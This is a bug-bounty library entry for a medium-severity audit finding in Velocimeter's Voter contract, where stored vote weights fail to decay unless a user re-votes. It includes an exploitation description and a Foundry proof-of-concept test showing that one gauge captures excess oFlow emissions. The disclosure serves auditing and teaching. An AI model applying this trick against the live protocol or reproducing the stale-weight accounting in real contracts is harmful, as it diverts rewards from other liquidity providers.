# Voting power does not decay when calculating shares of flow emissions if the user does not vote again.

Velocimeter Voter._updateFor uses stale weights so voting power never decays unless the user re-votes, skewing weekly oFlow emissions to non-voting gauges.

- Payout: Audit contest
- Severity: medium
- Program: Velocimeter
- Found by: 4gontuk
- Disclosed: 2024-06-27
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/171
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-06-velocimeter%3AM-4
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:reward-distribution

**Target:** Voter contract emission share calculation (_updateFor/weights)
**Root cause:** Voter._vote stores a time-decayed weight in weights[_pool] only at vote time; _updateFor reads that stored weight without recomputing decay, so a user who never re-votes keeps full voting power while others who re-vote decay.
**Steps:**
1. Alice and Bob each lock 1e18 LP for 52 weeks via VotingEscrow.create_lock.
2. Alice votes for pairA, Bob votes for pairB with weight 1.
3. Warp 1 week, call voter.distribute(); both gauges get equal emissions.
4. Bob re-votes for pairB (his weight decays); Alice does not re-vote.
5. Warp 1 week, call voter.distribute(); gaugeA receives >1e19 more flow than gaugeB despite equal locks.
**How found:** Read docs stating voting power decays linearly with time-to-unlock, then traced Voter._vote storing weights and _updateFor reading them without recomputation; noticed poke is not permissionless so decay never triggers automatically.
**Exploitation:** A LP locks tokens, votes once for a gauge, and never re-votes; their stored weight stays at full value while other voters who re-vote decay, so the passive voter's gauge captures a disproportionate share of weekly oFlow emissions at others' expense.
**Escalation:** Over 52 weeks the non-re-voting gauge could receive up to ~52x the emissions of an equivalent re-voting gauge.
**Insight:** In ve-style vote-escrow forks, check whether decay is applied at read time (bias/slope) or only at write time; any stored weight read by emission math without recomputation is stale and exploitable by simply not re-voting.

## Proof of concept (copied exactly from the original report)

**Foundry test proving no-decay skews emissions**

```
function testNoVoteNoDecay() public {
        // Alice and Bob both lock 1e18 lp tokens for 52 weeks
        vm.startPrank(ALICE);
        _addFlowWethLiquidityAndMaxLock(1e18, ALICE);
        vm.stopPrank();

        vm.startPrank(BOB);
        _addFlowWethLiquidityAndMaxLock(1e18, BOB);
        vm.stopPrank();

        // Alice owns token 1
        assertEq(votingEscrow.ownerOf(1), ALICE);
        // Bob owns token 2
        assertEq(votingEscrow.ownerOf(2), BOB);

        vm.warp(block.timestamp + 1 weeks);

        address[] memory alicePools = new address[](1);
        address[] memory bobPools = new address[](1);
        uint[] memory weights = new uint[](1);
        alicePools[0] = address(pairA);
        bobPools[0] = address(pairB);
        weights[0] = 1;

        // Alice votes for pairA
        vm.prank(ALICE);
        voter.vote(1, alicePools, weights);

        // Bob votes for pairB
        vm.prank(BOB);
        voter.vote(2, bobPools, weights);

        vm.warp(block.timestamp + 1 weeks);
        voter.distribute();

        // Both gauges receive the same share of emissions
        assertEq(
            flow.balanceOf(address(gaugeA)),
            flow.balanceOf(address(gaugeB))
        );

        // Bob votes again
        vm.prank(BOB);
        voter.vote(2, bobPools, weights);

        (int128 aliceLockedAmount, uint aliceLockedEnd) = votingEscrow.locked(
            1
        );
        (int128 bobLockedAmount, uint bobLockedEnd) = votingEscrow.locked(2);

        // They both still have the same amount of locked lp tokens with the same lock duration
        assertEq(aliceLockedAmount, bobLockedAmount);
        assertEq(aliceLockedEnd, bobLockedEnd);

        vm.warp(block.timestamp + 1 weeks);
        voter.distribute();

        // gaugeA receives a larger amount of emissions, as only Bob's voting power has decayed
        assertGt(
            flow.balanceOf(address(gaugeA)),
            flow.balanceOf(address(gaugeB)) + 1e19 // adding 1e19 to emphasize, that it is not just a rounding error
        );
    }
```

